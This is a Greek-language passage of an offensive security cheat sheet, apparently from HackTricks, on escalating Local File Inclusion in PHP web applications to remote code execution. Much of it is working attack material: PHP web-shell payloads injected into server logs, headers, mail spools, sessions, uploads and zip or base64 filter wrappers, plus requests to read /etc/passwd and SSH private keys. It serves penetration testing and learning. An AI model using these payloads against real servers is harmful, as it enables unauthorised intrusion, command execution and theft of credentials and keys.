Εάν ο διακομιστής Apache ή Nginx είναι ευάλωτος στην LFI μέσα στη λειτουργία συμπερίληψης, μπορείτε να προσπαθήσετε να έχετε πρόσβαση στα /var/log/apache2/access.log ή /var/log/nginx/access.log, να ορίσετε μέσα στο user agent ή μέσα σε ένα GET παράμετρο ένα php shell όπως <?php system($_GET['c']); ?> και να συμπεριλάβετε αυτό το αρχείο

Σημειώστε ότι αν χρησιμοποιήσετε διπλά εισαγωγικά για το shell αντί για απλά εισαγωγικά, τα διπλά εισαγωγικά θα τροποποιηθούν σε "quote;", το PHP θα εκτοξεύσει ένα σφάλμα εκεί και δεν θα εκτελεστεί τίποτα άλλο.

Επίσης, βεβαιωθείτε ότι γράφετε σωστά τη φορτώση αλλιώς το PHP θα εμφανίσει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε μια δεύτερη ευκαιρία.

Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής, αλλά προσέξτε, ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι κωδικοποιημένος με URL και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα authorisation "basic" περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτήν την κεφαλίδα. Άλλοι πιθανοί δρόμοι καταγραφής:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Μέσω Email

Στείλτε ένα email σε ένα εσωτερικό λογαριασμό (user@localhost) περιέχοντας το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?> και προσπαθήστε να το συμπεριλάβετε στο email του χρήστη με έναν δρόμο όπως /var/mail/<USERNAME> ή /var/spool/mail/<USERNAME>

Μέσω /proc/*/fd/*

  1. Μεταφορτώστε πολλαπλά shells (για παράδειγμα: 100)

  2. Συμπεριλάβετε http://example.com/index.php?page=/proc/$PID/fd/$FD, με $PID = PID της διεργασίας (μπορεί να εξαναγκαστεί) και $FD τον αριθμό περιγραφέα αρχείου (μπορεί να εξαναγκαστεί επίσης)

Μέσω /proc/self/environ

Όπως ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent, θα αντανακλαστεί μέσα στο αρχείο /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Μέσω μεταφόρτωσης

Εάν μπορείτε να μεταφορτώσετε ένα αρχείο, απλά ενσωματώστε το φορτίο του κέλυφους μέσα σε αυτό (π.χ.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Για να διατηρηθεί το αρχείο ευανάγνωστο, είναι καλύτερο να γίνει ενσωμάτωση στα μεταδεδομένα των εικόνων/εγγράφων/pdf

Μέσω μεταφόρτωσης αρχείου Zip

Μεταφορτώστε ένα αρχείο ZIP που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Μέσω συνεδριών PHP

Ελέγξτε εάν η ιστοσελίδα χρησιμοποιεί συνεδρίες PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Στην PHP αυτές οι συνεδρίες αποθηκεύονται στα αρχεία /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ορίστε το cookie σε <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο συνεδρίας PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Μέσω ssh

Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και δοκιμάστε να έχετε πρόσβαση στο <HOME>/.ssh/id_rsa

Μέσω logs vsftpd

Τα logs για τον διακομιστή FTP vsftpd βρίσκονται στο /var/log/vsftpd.log. Στην περίπτωση όπου υπάρχει μια ευπαθής ευκαιρία για Ενσωμάτωση Τοπικού Αρχείου (LFI), και η πρόσβαση σε έναν εκτεθειμένο διακομιστή vsftpd είναι δυνατή, μπορούν να ληφθούν υπόψη τα ακόλουθα βήματα:

  1. Ενσωματώστε ένα PHP payload στο πεδίο ονόματος χρήστη κατά τη διαδικασία σύνδεσης.

  2. Μετά την ενσωμάτωση, χρησιμοποιήστε την LFI για να ανακτήσετε τα logs του διακομιστή από το /var/log/vsftpd.log.

Μέσω php base64 φίλτρου (χρησιμοποιώντας base64)

Όπως φαίνεται σε αυτό άρθρο, το PHP base64 φίλτρο αγνοεί απλά τα μη-Base64. Μπορείτε να χρησιμοποιήσετε αυτό για να παρακάμψετε τον έλεγχο της κατάληξης του αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλά το "." και θα προσθέσει το "php" στο base64. Εδώ υπάρχει ένα παράδειγμα payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Μέσω php φίλτρων (χωρίς ανάγκη αρχείου)

Αυτό το writeup εξηγεί ότι μπορείτε να χρησιμοποιήσετε php φίλτρα για τη δημιουργία αυθαίρετου περιεχομένου ως έξοδο. Αυτό σημαίνει ότι μπορείτε να δημιουργήσετε αυθαίρετο κώδικα php για την περιλαμβάνουσα χωρίς την ανάγκη να τον γράψετε σε ένα αρχείο.

pageLFI2RCE via PHP Filters

Μέσω segmentation fault

Μεταφορτώστε ένα αρχείο που θα αποθηκευτεί ως προσωρινό στο /tmp, στη συνέχεια στο ίδιο αίτημα, προκαλέστε ένα segmentation fault, και τότε το προσωρινό αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.

pageLFI2RCE via Segmentation Fault

Μέσω αποθήκευσης temp αρχείων Nginx

Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και το Nginx τρέχει μπροστά από το PHP, μπορείτε να καταφέρετε να αποκτήσετε RCE με την ακόλουθη τεχνική:

pageLFI2RCE via Nginx temp files

Μέσω PHP_SESSION_UPLOAD_PROGRESS

Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων ακόμα κι αν δεν έχετε μια συνεδρία και το session.auto_start είναι Off. Αν παρέχετε το PHP_SESSION_UPLOAD_PROGRESS στα multipart POST δεδομένα, το PHP θα ενεργοποιήσει τη συνεδρία για εσάς. Μπορείτε να εκμεταλλευτείτε αυτό για να πάρετε RCE:

pageLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Μέσω μεταφορτώσεων temp αρχείων σε Windows

Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και ο διακομιστής τρέχει σε Windows μπορείτε να αποκτήσετε RCE:

pageLFI2RCE Via temp file uploads

Μέσω phpinfo() (file_uploads = on)

Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και ένα αρχείο που εκθέτει phpinfo() με file_uploads = on μπορείτε να αποκτήσετε RCE:

pageLFI2RCE via phpinfo()

Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO + Αποκάλυψη Διαδρομής

Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και μπορείτε να εξαγάγετε τη διαδρομή του προσωρινού αρχείου ΑΛΛΑ ο διακομιστής ελέγχει αν το αρχείο που θα περιληφθεί έχει σήματα PHP, μπορείτε να προσπαθήσετε να παρακάμψετε αυτόν τον έλεγχο με αυτήν τη Race Condition:

pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Μέσω αιώνιας αναμονής + βίαιης επίθεσης

Αν μπορείτε να εκμεταλλευτείτε την LFI για μεταφόρτωση προσωρινών αρχείων και να κάνετε τον διακομιστή να κρεμάσει την εκτέλεση του PHP, τότε θα μπορούσατε να δοκιμάσετε ονόματα αρχείων με brute force ώρες για να βρείτε το προσωρινό αρχείο:

pageLFI2RCE via Eternal waiting

Προς Κρίσιμο Σφάλμα

Αν περιλάβετε οποιοδήποτε από τα αρχεία /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Πρέπει να περιλάβετε το ίδιο δύο φορές για να προκαλέσετε αυτό το σφάλμα).

Δεν ξέρω πώς είναι χρήσιμο αυτό αλλά μπορεί να είναι. Ακόμα κι αν προκαλέσετε ένα Κρίσιμο Σφάλμα PHP, τα προσωρινά αρχεία που μεταφορτώθηκαν από το PHP διαγράφονται.

Αναφορές

Συμμετέχετε στο HackenProof Discord server για επικοινωνία με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγές Χάκερ Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκερ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας

Συμμετέχετε στο Discord και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated